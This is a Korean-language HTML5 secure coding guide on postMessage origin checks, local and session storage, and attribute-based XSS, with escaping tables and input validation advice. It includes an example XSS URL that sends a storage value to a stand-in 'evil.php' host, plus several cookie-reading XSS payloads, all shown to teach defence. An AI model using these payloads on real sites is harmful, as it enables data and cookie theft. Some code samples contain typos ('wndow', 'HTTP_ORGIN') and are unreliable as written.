HTML5 보안 개발 가이드

1절. Cross-Document Messaging

가. 정의

HTML5는 postMessage라는 새로운 API를 제공한다. 이는 한 도메인에서 다른 도메인으로 데이터를 전달하는 스크립트에 대한 프레임 워크이다. 이런 데이터 요청이 해킹이 아닌지 명확하게 하기 위해서, postMessage는 개발자가 데이터 요청의 origin check를 할 수 있게하는 object property를 포함한다. 그러나 HTML5는 이런 origin check를 강요하지 않기 때문에, 부주의한 개발자는 origin check를 하지 않을 수 있으며, 이는 결과적으로 해킹 사이트에 postMessage요청을 노출하게 된다.

코드 예제
wndow.postMessage(data, targetOrigin, [ports])

나. 안전한 코딩 기법

postMessage를 위한 보안지침은 메세지는 반드시 예상되지 않거나 원치 않는 origin 페이지에 전달되지 말아야 한다는 것이다. 만약 송신자가 postMessage를 호출하는 창이 특정 origin을 가지고 있지 않으면(예로, 사용자가 다른 사이트를 탐색하는 경우) 브라우저는 메세지를 전달하지 않을 것이다.

다. 예제

코드 예제
If($_SERVER['HTTP_ORGIN'] == 'http://trusted.site'){
      header('Access-Control-Allow-Origin: http://trusted.site');
      //process request
      }
  else{
         exit;
  }

2절. Client-Side Storage

가. 정의

HTML5에 추가된 스펙 중 localStorage와 sessionStorage라는 객체가 있다. 사용자의 로컬에 데이터를 저장해두고, 불러올 수 있는 기능으로 이전의 쿠키를 대체할 수 있다. localStorage는 저장한 데이터에 반영구적으로 접근할 수 있는 반면(브라우저를 종료 후 재접속해도 가능), sessionStorage는 브라우저가 닫히기 전까지만 접근이 가능하다. 유효기간을 별도로 정하지 않는다는 점을 제외하면 쿠키와 비슷하게 동작한다고 볼 수 있다.

나. 안전한 코딩 기법

Storage에 저장되는 값은 별도의 유효기간이 정해져 있지 않아 영구적으로 보존된다. 따라서 사용되지 않는 데이터는 삭제해 주는 것이 바람직하다.

다. 예제

코드 예제
  http://example.com/page.php?name=<script>document.write('<img src="http://foo.com/evil.php?name=' %2B globalStorage[location.hostname].mykey %2B '">');</script>

위의 코드는 example.com 사이트의 page.php의 인자 값 name에 대해 입력 값 검증이 제대로 되어있지 않아 XSS취약점이 존재 했을 때 Storage의 mykey 키의 값을 공격자에게 전송해 주는 코드이다. 만약 중요한 데이터가 남아있었다면 XSS 공격을 사용하여 해당 데이터가 유출되었을 것이다.

3절. Attribute Abuse

가. 정의

HTML5에는 새로운 태그가 많이 생겼다. 새로운 속성들이 있는데, 이는 친숙한 태그들에 적용되고 이런 속성들이 abuse 될 수 있다. 이런 속성값들이 자동적인 스크립트 실행의 트리거가 될 경우 위협이 되게 된다.

나. 안전한 코딩 기법

HTML5에서의 발생되는 XSS 취약점 대응방안으로, 수정 및 추가된 부분이 있지만 기본적으로 XSS취약점 대응방안의 큰 틀에서 벗어나지 않다. 아래의 취약점 대응 권고 사항을 지켜주시기 바란다.

XSS 대응방안

1) Server-Side에서 입력값 검증이 이루어져야 한다. 2) 사용자 입력처리 모듈을 사용하여 비정상적인 악성 스크립트 삽입이 되지 않도록 필터링을 해야 한다.

  • 사용자 계정 및 패스워드 타입
    사용자 인증 부분에는 SQL Injection 유형을 차단하기 위해 숫자, 영문 대/소문자 길이 등을 정의하고 기타 문자는 입력 받지 않는다.
  • 게시판 타입
    입력문자의 타입(영문 대/소문자) 및 길이를 정의하여 통제할 수 있다. CSS에 사용되는 문자열이 삽입될 수 있으니 주의해야 한다.
  • 주민등록번호 타입
    주민등록번호를 입력 받기 위해 숫자형태의 6~7자리를 정의한다.
  • 날짜타입
    사전에 정의된 날짜 형식을 사용하거나 날짜형식에 맞는 표현식을 작성한다.
  • 숫자타입
    계좌이체의 경우 이체금액을 음수(-)로 입력할 경우 잔액계좌에는 오히려 금액만큼 증가될 수 있기 대문에 금액을 입력 받는 부분은 양수(+)만을 입력 해야한다.
  • 기타 취약성 문자
    < > \ ” ‘ ( ) & 등의 문자를 사용하는 경우 해당 문자를 다른 문자로 변경하는 것이 보안상 안전하다.
From To
< &lt;
> &gt;
( &#40;
) &#41;
# &#35;
& &#38;

다. 예제

안전하지 않은 코드 예제
<input autofocus onfocus(alert(document.cookie);>
<form id=”test”/>
<button form=”test” formaction=”javascript:alert(document.cookie)”>
<video><source onerror=”javascript:alert(document.cookie”>

HTML5의 autofocus 속성은 자동적으로 브라우저의 focus를 트겅한 element로 이동시킨다. 그러나 이런 속성은 해킹 사이트들이 autofocus 속성을 훔쳐서, 악성 코드가 실행되게 하는 윈도우로 포커스를 옮겨 버릴 수 있다. 사용자는 무의식 중에 이런 악성 코드를 실행하게 되버린다. 이와 마찬가지로 poster와 srcdoc속성도 악성 사이트에 의해 남용될 수 있다.